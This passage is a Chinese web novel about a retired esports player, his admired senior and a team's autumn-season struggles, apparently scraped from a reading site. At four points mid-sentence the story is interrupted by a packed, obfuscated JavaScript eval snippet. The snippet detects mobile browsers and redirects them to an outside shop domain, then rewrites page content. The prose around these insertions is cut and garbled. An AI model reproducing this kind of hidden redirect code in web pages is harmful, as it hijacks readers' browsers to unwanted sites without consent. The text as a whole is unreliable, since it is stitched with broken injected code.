他推了推眼镜，他没想到会在这个时间碰上鹿溪午，而鹿溪午看起来却一副魂不守舍的样子。 “鹿溪午？” “……学长。” 鹿溪午抬头，那双湿漉漉的浅色眼眸就这样撞进贺存的视线。 他的眼睛生得极好，眼尾微微下垂，而睫毛却纤长卷翘，看人的时候，总是格外无辜却又缱绻深情。 但现在鹿溪午的眼睛里，却只剩下迷茫和萧索。 贺存心中微动，关切道：“怎么了？心情不好吗？” 鹿溪午敛下眼睫，声音跟往常别无二致：“没有啊，学长是要去做什么？” 贺存没回答，而是看了看腕上的手表：“你应该是下课挺久了？怎么不去食堂吃饭？” “我就……随便逛逛。” 贺存的视线在鹿溪午身上睃巡了一圈：“走吧，先带你去吃东西。” 鹿溪午刚想拒绝，但贺存的动作明显更快，已经拉住鹿溪午的手腕往前走了。 “学长……” “人是铁，饭是钢。再怎么样也不能不吃饭。” 贺存拉着人到食堂坐下，已经过了饭点，食堂这时候有些冷清，连窗口都没有开几个，他只能在面食的窗口点了两碗牛肉面。 过了一会儿，贺存端着两碗滚烫鲜香的面条上桌，一碗给自己，一碗放到鹿溪午的面前。 “不知道你的忌口是什么，没放香菜跟葱花。”说着，贺存掰开了一次性的筷子，把毛刺来回刮干净了才递给鹿溪午。 “谢谢学长。” 鹿溪午乖巧地接过筷子，动作间却少了几分之前的灵动轻巧。 “难过的时候，可以做点其他事转移注意力，这样就会好过很多，比如吃点好吃的或者出去玩玩。” “我才没有难过……” 鹿溪午小声反驳，声音听起来却没有一点底气。 贺存叹了口气：“知道吗？你现在的样子，就跟我7年前一样，那时候，我每天早晨起来，在镜子里都是这个眼神，哀莫无神。” “……” 鹿溪午拨面的筷子一顿，用湿漉漉的眼睛望向贺存：“学长，也遇见过很难过的事吗？” 像贺存这样光环围绕的人，也会有狼狈的一面？ 面前的人像极了一只在森林里迷路的委屈巴巴的小鹿，贺存抿了抿嘴角：“那时候我才成年不久，在这之前，我一直以为我的家庭很幸福，直到……我撞见自己的父亲出轨。” “我不知道该怎么办，我既害怕母亲知道又害怕她不知道。但很快我发现这个担心并不必要，因为我的母亲也在干着同样的事情。” 鹿溪午瞪大了眼睛。 “在我父母的观念里，他们只是商业联姻，是形婚；可我从小到大所受过的教育告诉我，这叫背叛。我劝他们分开，可他们为了集团的股价并不同意，于是我跟双亲大吵了一架。” “在过去我一直以父母为荣，曾经不止一次地窃喜我是圈子里唯一的例外，我拥有一个幸福的家庭……但很遗憾，我似乎活在假象里。” “当真相揭露的时候，那些虚假的庆幸也随之离我远去了。我不过——” 贺存自嘲一笑：“不过是他们那段畸形婚姻的唯一产物。” 鹿溪午听出了贺存语气中深埋的自嘲，他无措地叫着：“学长……” “我没法面对这样的自己，于是我跑了。我偷偷给自己办了护照，加入了野生动物保护组织，跑到了非洲。那里没人认识我。我追踪记录非洲象的迁徙轨迹，拍摄猎豹捕食羚羊，跟偷猎犀牛的白人斗智斗勇。每一天都充实得我根本没办法想其他事情。” “后来呢？” 贺存呼出一口热气：“后来……我被偷猎者的流弹打中肩膀，在博茨瓦纳的医院里躺了一个月。” “面对医院的四面白墙，我突然惊觉：其实这个世界很大，脚下的土壤中或许正有种子在发芽，不远处斑马群相互簇拥着沉睡，窗外的星光正盛，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678611|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来明天又是一个好天气……” “我可以在意的事情太多了，有什么必要因为别人的过错而困住自己呢？” 因为别人的过错而困住自己…… 鹿溪午在心里重复了一遍这句话。 从见到林家的那一刻开始，他似乎就陷入了一个莫名的怪圈，林家的偏见也好，补偿也罢，他总是会先审视自身，仿佛是自己犯错了一样。 但其实这些都不是他的错，当年的事，他是受害者；现在的偏见，是林家自己的行为，与他更是无关。 鹿溪午本以为自己的经历已经够奇葩了，没想到眼前这个家世极好能力过硬的人也有一段不堪回首的过去。 贺存摘下眼镜，擦了擦眼镜上的雾气，看着鹿溪午温和地说：“我不知道你发生了什么事，如果实在没办法想通的话，也可以趁着假期出去走走，毕竟大自然才是治疗一切社会病的良药。” 在贺存的注视中，鹿溪午蓦然就释怀了，他笑得眉眼弯弯：“那学长有什么推荐的地方吗？不如跟我一起去呗？” 贺存看着眼前重新活络起来的鹿溪午，提着的心总算放下了，他无奈地敲敲碗沿：“吃饭吧，面都快坨了。” “那好吧～” 送走还企图磨磨唧唧赖在自己身边的鹿溪午，贺存松了口气，总算是把人哄好了。 今天鹿溪午上课前还在跟他黏黏糊糊地发消息，怎么下课后就变成这个样子了？ 贺存脸色沉沉，摸出手机摁了个号码：“喂？保卫处吗？” 保卫处的人认识贺存，毕竟他的导师在学校领导层拥有职位。 贺存狐假虎威，假借自己丢了东西，光明正大地在保卫处查监控。 “林修？” 贺存好半天才认出监控那个模糊不清的身影。 他曾经在伦敦金融街的某个酒会上见过，他记得林家似乎是靠娱乐业发家，后来转向了实业，但这年物联网经济飞速发展，不懂变通的林家逐渐也有日薄西山的势头。 原来是被林家欺负了。 监控听不见声音，但贺存就是这么先入为主地判断着。 贺存给监控拍了张照片，转头走出了学校保卫处。 . 鹿溪午回了家，直接就瘫在了沙发上，今天发生了太多事情，他有点累得慌。 想到贺存在食堂里对自己的开解，鹿溪午才后知后觉地想起来自己是不是应该给他道个谢？ 鹿溪午打开手机，在对话框里删删减减，不知道该怎么组织语言。 他无意窥见别人的私事，但今天听见贺存的经历，他满脑子只剩下一句话：好厉害。 若是把事情的主人公换做是鹿溪午，他可能很难做到跟自己和解。 贺存不仅仅是外表俊美，连精神世界都强大得令人向往。 而慕强是自然界最本能的反应。 鹿溪午半躺在沙发上，整张脸埋在抱枕里：完了，更喜欢学长了怎么办…… 不行！学长太优秀了，自己必须主动出击才有机会！ 可追人自己似乎并没有经验…… 鹿溪午摸摸下巴，对了，他还可以摇人啊！ 他麻溜地点开微信： 675：[大佬大佬！我能请教你一个问题吗？] 675：[怎么追人最高效啊？] 大佬：[怎么想起问这个？] 675：[最近遇到了一个人，喜欢，想追！] 大佬：[？] 贺·大佬本人·存：……… 贺存看着自己面前的手机消息，难得陷入了沉默。 675：[他是我的学长啦，人真的超好，我好喜欢他！大佬见多识广，有没有什么建议啊？] 大佬：[……也许你可以试试先主动靠近他，确认一下他的想法？后续我们再制定计划。] 675：[哦～好的谢谢大佬！] 15.护短 开幕式一结束，就意味着秋季赛正式打响。 TD战队的第一场比赛在周五的下午，对阵AHF。鹿溪午没课，可以去现场观看。 但不幸的是，比赛场馆跟C大一南一北，相隔甚远，鹿溪午不得不在上完最后一节课后狂奔出教室，终于在停止检票的前一分钟进了场馆。 鹿溪午的票是徐泽给的内部票，位置很好，周围也都是热情的粉丝。 在找位置的时候，鹿溪午还被社牛的TD战队粉塞了一个发箍，上面是两个Q版的TD字母。 鹿溪午好脾气地戴在头上，将注意力转回赛场。 此刻的bp环节已经结束了，徐泽按照他们之前的计划，拿了一套野核的阵容。 坐在鹿溪午旁边的粉丝担心得不得了： “打纯野核吗？我第一次看见TD中单位打野望蔷薇……” “对面AHF中单的英雄很克制野望蔷薇，这局不好打。” “未必。”鹿溪午突然出声。 或许是鹿溪午笃定的声音给了两位粉丝一点信心：“这位小哥，怎么说？” “别光看中路，这局TD是要打野核，红尘仙家这个打野，要是防不住他的反野，中期一定会是TD的天下。” “可是……只要AHF能在前期摁住打野不就行了么？” 鹿溪午狡黠一笑：“你忘了野望蔷薇的大招是什么了？” “减速？” “一旦中单的速度被减下来，也就是意味着，AHF的支援速度永远会慢于TD。” 两位粉丝懵懂地朝前望去，大屏幕上，虽然AHF的中单一直在压制TD的中单，但心细的就会发现，陆云的每次死亡，一定是他已经把大招放完的前提下。 AHF的中单被减速，根本无法按时支援，以至于他们的野区都快被TD的打野逛成自家后花园了。 第一局，AHF输得不冤。 休息室，徐泽拍拍已经快死成超鬼的陆云的肩膀，“干得很好，小陆。” 陆云紧张得手心直冒汗，面对自己的战绩还是很难过：“我好像死了很多次……” “但我们赢了，小陆云。”徐泽的声音很稳，“打起精神，一鼓作气争取拿下AHF。” “是！” AHF不愧是老牌战队，第一局失利的前提下丝毫不慌，继续在bp环节针对陆云的英雄池。 眼见到自己最近在练的几个英雄都被ban的情况下，陆云有些慌了。 新人被针对是必然，但真的在赛场上感受到对手的绞尽脑汁，陆云还是很沮丧。 有种过去的努力都白费了的感觉。 徐泽沉稳指挥对面的ban位，这种情况他早就见了不知道多少回。 真是不管deer在不在，TD的中单位都是被针对的对象。 第一局能赢纯粹是出奇制胜，剩下的…… 徐泽叹了口气，他告诉自己，这都是每个战队都有的磨合期，尽力就好。 后两局输得并不意外。 鹿溪午在台下瞧着，他最担心的就是陆云。 陆云乖巧地跟着队员去握手，然后下场，看起来除了沮丧也没有其他的表情。 散场的时候，鹿溪午收到了陆云的消息。 cloud：[师父，我输了QAQ] 675：[我都看到了，乖乖跟教练复盘，进步慢慢来，你不需要复刻我的成功。] 陆云看见鹿溪午的回复，无端想起之前鹿溪午在训练室给自己说的话—— “你是要作为cloud去赢。” 我是cloud，不是deer。 他好像有点明白了。 cloud：[我知道了，师父] TD战队秋季赛首战失利的消息很快传遍全网。 陆云果不其然成为被攻击的目标。 【什么呀，这就是D神的徒弟吗？】 【这战绩，都TM死成超鬼了吧？】 【这操作，我上我也行】 【deer能不能回来啊？】 …… 徐泽早就有先见之明地让陆云卸载了所有社交软件。 官博也在发出一条继续努力后持续装死。 于是乎，鹿溪午的直播间便成了重灾区。 这两天鹿溪午忙着课业也没开播，倒是在课间听周有柏说了不少。 “这些人真的是从来不刷牙吗？骂这么难听？” 周有柏很是气愤：“不能对新人友好一点吗？这才第一场比赛啊，有必要吗？” 鹿溪午简单看了两眼网上的评论：“不至于，cloud的表现没有他们说得这么一无是处。” “你说得对。”周有柏哼哼两声，这几周常跟鹿溪午和赵文一起排位，他对游戏的理解也是今非昔比：“待我写一篇分析帖，给TD正正名！” 然而还不等周有柏的分析贴问世，鹿溪午当天晚上就开了直播。 “最近有很多关于TD对战AHF的言论，我看了，但很多说的太过偏激，今天晚上我们就来把TD那天的比赛复盘一把。” 鹿溪午的原始粉丝大多都是因为之前的法刺小课堂来的，这样的直播风格倒是有一种让他们感到熟悉的感觉。 鹿溪午一帧一帧地给观众扣细节，做演示。 弹幕从最开始的硝烟四起，变成了现在的安静听讲。 “17分24秒这里，cloud越塔不是想强杀，而是想放出技能减速，两方打野已经对上，这时候必须拖住中单的支援。” 【这么一看，好像cloud死得蛮值的诶。】 【终于有人站出来为cloud说话了，人打得其实真的还不错。】 【还得是自家人，我哭死】 两个小时，鹿溪午还省略了不少东西，林林总总扒下来属实有点费嗓子。 徐泽泽泽：【礼物—烟花*100】 徐泽泽泽：【说得好！】 鹿溪午起身去倒了一杯水，回来就看见徐泽已经跟弹幕唠上了：“感谢教练的烟花，TD下次比赛加油。” “今天就先播到这里了，我得去歇歇我的嗓子。” 叮咚—— 是手机的消息提示音。 鹿溪午打开一看，是徐泽发来的语音：“谢谢你出来吸引火力了，小陆云现在感动得不要不要的。” 而鹿溪午还真的隐隐约约地听见陆云带有哭腔的声音。 “反正我都退役了，诶对了，第二场比赛准备好了吗？” “……这个赛季就当练兵了，先让小陆云成长起来再说。” 鹿溪午微微叹了口气。 TD输了一场，已经从胜者组掉到了败者组，要是再输一场那就与秋季赛奖杯无缘了。 而TD第二场比赛的对手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691036|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，正是才磨合完毕，准备大杀四方的GH。 希望不大。 鹿溪午头疼地按了按额角：“我们再想想办法吧。万一呢……” . 自从上次猜到鹿溪午的身份后，林奚一直对TD战队的事情异常关注。 张青婉观察到了林奚的这个习惯，也只是以为林奚在为代言人的事情努力，并没有多想。 这天正好是林奚的直播，是张青婉为了固粉特地安排的“粉丝福利” 林奚只需要在镜头前唱唱歌，说说话，有意无意地透露自己是个异界之巅的铁杆玩家就好。 【今天的奚奚穿搭好好看，像个阳光干净男大学生，嘿嘿】 【热知识，奚奚本来就是大学生，C大学霸哦～】 【奚奚唱歌真的好好听】 【慕了慕了，我的爱豆好强】 林奚一边笑一边回答弹幕上的问题，“谢谢大家，我倒觉得你们才厉害啦！” “最近没有什么安排，我还得上学呢，闲的时候就打游戏。” “异界之巅？打啊，我可是铁杆玩家。” “比赛当然也关注了，最喜欢……当然是最喜欢TD了，谁不喜欢嘎嘎乱杀的强队呢？” 一提到TD，弹幕顿时变多了起来。 【我次元壁破了诶】 【TD在前一个赛季确实强，不过现在嘛……】 【原来奚奚也喜欢异界啊，有没有可能我们排位碰见一起？】 林奚见好就收，蜻蜓点水般就略过了这个话题。 直播结束后，张青婉看向林奚，不赞同地说道：“你自己都还没站稳脚跟，提一提打异界就是有些冒险了，最好别这么早给自己立某战队的粉丝人设。” “异界是个竞技游戏，不管怎么样，总归是绕不过比赛的，现在不提以后也迟早要接触。”林奚早就想好了理由来搪塞张青婉。 “网络上的舆论瞬息万变，早涉足未必是好事。”张青婉是娱乐圈的老人了，对于舆论的态度，一向都是慎重的。 林奚安抚意味地笑了笑：“青婉姐，我知道的，舆论有时候会造出一个神，有时候……也会毁掉一个人。” 张青婉见到林奚对舆论的认识这么透彻，也不再说什么：“ 你能这么想就最好，你的资源已经是别人企及不上的了，稳扎稳打更为适合你。” “对了，我今天约了异界宣发部的人吃饭，你跟我一起去初步接触接触吧。” 林奚点头应好：“我们应该是第一个接触异界的艺人团队吧？” 张青婉摇摇头：“不是，去年异界的动画电影制作时，请了业内一个很出名的话剧演员做配音，异界似乎更倾向于他。” “这几年话剧这个行业哪有影视吃香？”林奚有些意外。 张青婉拍拍林奚的肩膀，“没事，只是倾向而已，论商业价值，还是你的胜算更大。” “我会好好表现的，青婉姐。” 林奚一边保证，一边回着齐光茂的消息。 齐光茂：[最近怎么样？兼顾学业和工作很难吧？注意身体。] 林奚：[知道了，你也是。最近团队打算让我去争一争异界之颠的华国地区代言人，有点害怕。] 齐光茂：[别担心，我最近没有比赛，可以带你。] 林奚：[能教我怎么打中单吗？] 齐光茂：[当然可以。] 16.对垒 “好，今天的内容就到这里，同学们下课吧。” 听见老师宣布下课，鹿溪午习惯性地开始收拾东西准备回家，却被周有柏拉住了袖子。 “诶，老鹿，今晚社团选人组战队，去看看吗？” “战队？”鹿溪午疑惑，“为什么要组战队？” “全国高校联赛不是要报名了吗？必不能少了我们C大啊。”周有柏很兴奋，“听说去年我们C大拿了冠军呢！” 鹿溪午来了兴趣，这几天都在跟俱乐部教练组开视频会议，今天去放松一下也好。 “你报名了？” “报了，但我初选就被刷了，嘿嘿。”周有柏没心没肺地挠挠头，“你跟我们一起去看看吗？” “好啊。” 鹿溪午愉快地答应了周有柏。 . 林奚最近为了代言人的位置确实付出了很多努力。 今天正好是C大组战队的最后一场决赛，林奚决定去看看，顺便增加一下自己对异界之巅的了解。 这一届电竞社的社长正好是林奚一个学院的同学，一听说林奚要来看比赛，立马笑得合不拢嘴。 “林奚，真没想到你也对这个感兴趣，要不我先带你去我们社团参观参观吧？” 林奚点头说好：“谢谢你啊，张裕。” 张裕这个人最擅长溜须拍马，而林奚的家世足够让他鞍前马后了。 “这个是我们平时打游戏的地方，是学校之前的微机室，现在已经给我们社团了。” “这些都是整理的各种攻略资料，平时也没收拾，有点乱啊，见笑。” “那个是人员名单，咱们社团人有点多。” 林奚眼尖地看见了名单上鹿溪午的名字，顿时眉头一紧。 鹿溪午要是在这个社团呆着，难保不会把身份暴露，要是穿进爸爸的耳朵里就不好了…… 林奚把手里的文件夹还给张裕，“你们社团人这么多，管理应该不是很方便吧？没想过精简人员吗？” . 鹿溪午跟周有柏一起到了社团的活动室。这时候的人已经很多了，他们只来得及抢到了后排的板凳。 这是一场关于射手人选的争夺战，solo画面已经被投影仪投到了大幕布上。 周有柏靠过来：“老鹿觉得谁会赢？” 鹿溪午不太熟悉这两位比赛的同学，辨认了一下局势，随口一猜：“荒野弓手吧。” 没等周有柏说话，坐在两人旁边的张裕开口了：“我倒觉得是飞箭熟手。” 周有柏皱了一下眉，嘴上还是客客气气道：“社长。” “社长。”鹿溪午打完招呼，转眼就看见了坐在张裕旁边的林奚，眉眼顿时一凌。 说话间，台上胜负已分，飞箭熟手最后一发强化普攻奠定了胜利的基础，反而是鹿溪午看好的荒野弓手落败。 张裕带着一丝轻微的得意之色掠过鹿溪午，走到讲台前宣布比赛结果。 周有柏凑过来跟鹿溪午八卦着：“你很少来社团，恐怕不知道张裕的事。他这人很不地道，少跟他接触为好。” “什么？” “张裕这人游戏技术其实挺厉害的，但很喜欢耍官威，社团里的大部分人都不喜欢他……” 鹿溪午疑惑：“那他是怎么当上这个社长的？” “因为他跟指导老师的关系好哇。” 想到跟林奚坐在一起的张裕，那张脸上有明显讨好的神情，鹿溪午顿时露出恍然大悟的表情。 台上的张裕宣布完本次出战全国高校联赛的名单，转而说起了另一件事情：“为了精简我们社团的成员，优化人员配置，我跟几位副社长商量后，决定没有参加过例会的成员，进行劝退处理。” 台下顿时就响起窃窃私语的声音，不少人面露不解。 几个副社长面面相觑，似乎张裕的行为在他们的意料之外。 周有柏当时就站起来了：“你现在劝退？那学分怎么办？这半学期白干了？” 张裕平静地瞥了周有柏一眼：“我认为连例会都不来参加的人，不会在意他的学分。” “可我们社的传统就是，拥有金色称号的人免日常例会啊。这也是在招生的时候就说清楚的事情。” 场下的所有人都赞同地点点头，电竞社是最好拿学分的社团，不少人就是冲着可以不参加日常例会来的。 这时一个副社长站起来圆场，“社长的意思是：没有得到金色称号【王者大师】并且没有参加过例会的的同学，会进行劝退处理。” 那确实应该清除出社团。 在场的人神情一松，气氛又重新活络起来。 但张裕明显别有意图，他看了一眼鹿溪午，不依不饶道：“我们都知道金色称号的含金量，能拿到手的人，都是对这个游戏有着很深的理解。” “若我没记错的话，鹿溪午同学也是有金色称号的人，但是……你怎么连刚才这么简单的对局胜负都猜测不出来？” 这话，就差明着说鹿溪午的金色称号是假的了。 周有柏最是仗义，当即拍案而起：“人家就跟我聊天，随口一说，你怎么就能看出他的金色称号是假的了？” 被一而再再而三地呛声，张裕脸色并不好看。 鹿溪午了然地看向林奚的方向，怪不得……原来在这里等着呢。 “我的金色称号是不是假的，打一局不就知道了？”鹿溪午淡然提议。 张裕对自己的技术很是自信：“行啊。” 林奚再也挂不住脸上的微笑了，心中不禁暗骂张裕蠢货。 随便找个理由把鹿溪午开了不行吗？非要跟一个职业选手硬碰硬，真是一点胜算都没有。 但张裕却是不知道鹿溪午身份的人，还很有风度地先请鹿溪午坐下。 社团里跟周有柏相熟的同学忍不住劝道：“你不劝劝你朋友？听说张裕这个赛季都打上天梯前百了。” 周有柏一点都不担心，他这个月跟鹿溪午和赵文三排，很清楚鹿溪午的实力：“没事，我家老鹿可是很厉害的。” 鹿溪午登录了自己的一个小号，他最近经常用这个小号和周有柏打排位。 张裕邀请鹿溪午进入训练模式，随意翻看了一眼鹿溪午的战绩，露出轻蔑地一笑：“你现在后悔还来得及。” “开始吧。”鹿溪午淡然回望，仿佛是不把张裕放在眼里。 两人进入BP画面。 张裕随机到先手位，拿了余烬机器这个英雄，是一个带有位移技能的战士，版本T0级别的上单。 “这个英雄是社长的本命吧？” “是啊，社长拿过余烬机器国服第十！” “鹿溪午会拿什么？也拿一个战士？” 四周的窃窃私语极大地助长了张裕嚣张的气焰，他把目光放到游戏界面上，看见对方居然选了一个操作难度极高的英雄——光影信徒。 “好勇，平时排位我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702255|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不敢选这个。” “光影信徒我实在是玩不明白啊，鹿溪午行吗？” “上次我选这个英雄的时候，死成了超鬼。” 光影信徒这个英雄，拥有两个形态，每个形态的技能各不相同，连招排列组合起来起码有四种，不是一般人能玩明白的角色。 张裕冷哼一声，既然如此，那就让你死得更痛快一些。 游戏开始。 两人和平的到达了线上，开始各自闷头吃兵。 光影信徒这个英雄打伤害主要靠等级，前期技能都还没学会的情况下，是打不了普攻高的战士的。 张裕抓住这个机会，前期打得很凶，追人几乎都要追到塔下。 但每每到了关键技能收割人头的时候，鹿溪午好像是住在了他脑子里，总是能凭借预判躲开他的技能。 “这个鹿溪午，有点东西啊。” 相比于鹿溪午的轻描淡写，张裕的表情愈发凝重。 他打得很憋屈，他已经很久没有打过这么憋屈的对局了。 本来想借鹿溪午买一个人情给林奚，但实在没想到他的游戏水平居然这么厉害，要是他输了的话，不仅得不到林奚的人情，还让自己在社员面前颜面扫地。 心中一慌，手上的操作自然就会出问题。 余烬机器的站位已经进入了光影信徒的攻击范围。 鹿溪午当机立断，秒切第二形态一个q技能控住余烬机器。 张裕不得已交了净化，用位移技能往塔下赶。 鹿溪午闪现跟进，手速爆发，光影信徒一套连招当头砸向余烬机器。 张裕只觉得自己屏幕上充满了黑白两色的色块——那是光影信徒的技能特效，还不等他反打，一条系统提示直接令他瞪大了双眼。 【小79623（光影信徒）击杀了不过如此（余烬机器）】 “刚才发生了什么？怎么就结束了？” “张裕这是……猝死了？” “好家伙，你们看见鹿溪午的手速了吗？都快出残影了。” 张裕脸色分外难看，他甚至还没反应过来，自己的血条就已经蒸发了。 前期没碰到鹿溪午的一点衣角，反而被人家一套连招反杀，这是纯纯的碾压局。 鹿溪午的意识和操作都高他太多了，张裕捏紧了拳头，对局的时候他甚至恍惚以为自己对面是个职业选手。 这下脸丢大发了。 面对周围人的指指点点，张裕恨不得找个地缝钻进去。 如果不是林奚……他怎么会至于招惹鹿溪午——对了，林奚呢？ 张裕霍然抬头，看见原来林奚的座位现在却空荡荡一个人都没有。 林奚！ 鹿溪午管不了张裕复杂的心理活动，只是扯下耳机，嘲讽一般地问：“社长，你现在觉得我有金色称号吗？” 张裕低着头不说话，微微颤抖的双手出卖了他的情绪。 副社长赶紧冲过去，拉住鹿溪午的手：“大神啊大神，你别生气，社长他就是这性子。” “……我没生气。”鹿溪午不会为难跟他没什么关系的副社长，“那还要劝退我吗？” “当然不会了，大神。”副社长陪着笑脸，尤其能屈能伸，“我代我们社长给你道歉。” “本来也不是你的错，你不用道歉。” “大神心胸宽广。”副社长嘿嘿一笑：“不知道有没有兴趣代表C大参加全国高校联赛啊？” 17.暗撩 经过上次在众人面前的对局，鹿溪午在社团的地位直线上升。哪怕是他拒绝副社长的战队邀请，但副社长还是为他争取到了不少优待。 而周有柏纯粹是属于一人得道鸡犬升天中的鸡犬，因为鹿溪午的缘故，他在社团里顿时成了香饽饽—— 谁不想加入鹿周赵的排位车队呢？谁能拒绝金大腿带飞的诱惑呢？ 周有柏最近过得春风得意，连对鹿溪午的耐心都多了不少。 “最近那个校级称号评选活动你看了吗？每个学院的推荐候选人都上报了，还要报名的得抓紧时间了。” 两人坐在食堂里，吃着旋转小火锅，一向话多的周有柏忍不住跟鹿溪午聊天。 “嗯？跟我们大一有关系吗？”鹿溪午涮着牛肉，不解地问。 “没关系啊。”周有柏一脸理直气壮，“我这不是跟你聊天嘛。” 鹿溪午蘸着油碟吃得正欢，没空理絮絮叨叨的周有柏。 “你要是能答应副社长的邀请，拿一个全国冠军回来，说不定明年你也能在候选人名单上呢。”周有柏依旧在暗戳戳地撺掇鹿溪午参赛。 鹿溪午短暂地回忆了一下TD俱乐部那一墙的奖杯，坚定地再次拒绝了周有柏，“你还是吃你的吧。” 周有柏简直恨铁不成钢。 鹿溪午满不在乎地擦擦嘴：“对了，等会儿我还得去贺老师那里拿东西，你跟我一起呗？” …… 此时的林家。 林沂天一家三口正围坐在餐桌上吃午饭。 “小奚，你最近的学业怎么样？” 面对林沂天的问题，林奚桌下的手掌攥紧了衣料：“……挺好的爸爸，我最近正在努力角逐校级的荣誉称号。” 只是一个校级的称号么？林沂天的脸色有些不满。 林修用公筷帮林奚夹了一筷子鱼，补充道：“要是小奚能顺利拿下校园十佳学子，按照C大声乐系的规矩：毕业演出的时候，就是板上钉钉的首席。” 本来还因为只是个校级荣誉称号不满的林沂天，闻言眉头瞬间舒展开，“那还不错，毕业演出的首席，也对你未来的事业有帮助。” 林奚乖顺地垂下头：“是的爸爸。” 他不敢告诉林沂天，因为最近几个月忙着出道的事情，错过了学校的不少活动，导致他现在只排在了候选名单里的最后一名。很有可能会被其他人挤出名单。 林修知道林奚的实际情况，当下给林奚使个了眼神，让他赶紧回房，免得被爸爸进一步追问。 逃似地回到房间，林奚靠在门上，神情疲惫。 他从来就不是天才，不能像哥哥一样一边忙着接手公司，一边还能把学业做到最好。 林沂天拿林修的经历去要求林奚，令他总是疲于奔命。 叮咚—— 是张青婉发来的消息：[明天有一个采访，两个品牌活动和一个慈善晚宴，你看下时间，没问题的话早上司机就来接你。] [……明天我还有课。] [没办法，请假吧。] 林奚紧紧捏着手机，想到自己快被扣完的出勤分，抿紧了唇。 [明天的活动，有异界游戏那边的人参加，你一定得去露个脸，表现一下。] 林奚沉默许久，还是回了一个好字。 . 清风徐徐，吹动桌上堆叠的纸页，斑驳树影，婆娑尽数布满窗棂。 摇动的光影打在贺存轮廓分明的侧脸，银框眼镜架在高挺的鼻梁，清俊中带着锋芒。 “嘿！” 谢嘉突然门边窜出一个脑袋，“最近忙什么呢？我给你发消息也不回？” 贺存分神看了一眼手机，上面果然有一条一个小时以前的信息。 “才看见，怎么了？” “大师兄让我给你把这个项目书带过来。”谢嘉优哉游哉地踱过来，手里拿的文件夹在贺存面前晃了晃，“恭喜你啊，又有活干了。” 贺存面色如常，一扬下巴，示意谢嘉放在桌上。 “可恶的学霸。”谢嘉喃喃，正准备放下文件的时候，却一眼瞥见了一张申请表。 “校园十佳学子？！”谢嘉不可置信地眨眨眼睛，抄起申请表，“不是，你去申请什么校园的十佳学子啊？” 贺存快速从谢嘉手里把申请表抽走：“我为什么不能申请？” “你一个市级的十佳学子，还去占用校园的名额，不好吧……”谢嘉一脸欲言又止。 作为顶级学府，拥有全国最高质量的学生的C大有个不成文的规矩：尽量将荣誉分给每一个优秀的人。 按以前默认的规则，有市级荣誉称号的学长学姐，都不会再去跟学弟学妹们抢名额了。 “这不是你的风格啊。”谢嘉叹了口气，妥协道，“让我看看这候选人名单的最后一位是谁啊，是哪一位这么倒霉……” “林、奚。” 谢嘉缓缓念出这个名字：“这名字怎么这么耳熟……” “我想起来了！这是前不久出道的那个歌手吗？他是咱们学校的学生？还是声乐系的？” “怎么？他得罪你了？你要把他的名额挤走？” 贺存眼光寒了一瞬，不欲在这上面多说：“项目书送到了，你走吧。” 谢嘉何等敏锐：“不是吧，他还真得罪你了？” “我看你最近挺闲的，要不来帮我做这个市场分析？” “不不不。”谢嘉把头要成了拨浪鼓，“我不问了，我先走了，拜拜。” 看着谢嘉脚底抹油的样子，贺存冷笑一声，将手里的申请表放进抽屉藏好。 贺存开始频频看向时间：按时间推算，某人应该来了…… . “我在这儿等你啊，你赶紧拿了资料下来。” 若是以往，在鹿溪午去找贺存时，周有柏绝对不会踩着单车在楼下等他。谁知道鹿溪午这个损友会不会丢下他跑去跟贺老师吃饭？ 周有柏无不感慨地想着：鹿溪午真是为了绩点无所不用其极，连拍老师马屁都这么拼。 鹿溪午今天穿了一件外套，里面是一件宽松的衬衣。他故意没有把领口的扣子扣上，露出一小片光洁的肌肤。 “最近贺老师很忙，不会跟我一起吃饭的。” 周有柏感慨般地啧啧两声。 真是够卷，不知道鹿溪午这一科的成绩得多高啊。 鹿溪午看见了周有柏唏嘘感叹的神情，深知自己这位朋友是个凭实力单身的人，估计这会儿该在心里痛骂自己是个卷王。 鹿溪午脱下外套，放进共享单车前面的篮筐里，“你帮我看着车和外套啊。” “你上个楼脱什么外套啊？” 鹿溪午心说你个直男当然不懂了，我这是适当在暗恋对象面前展现个人魅力。 他轻车熟路地上楼推开门，贺存果然坐在电脑前做着工作。 余光瞥见进门的人，贺存随意打了声招呼： “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 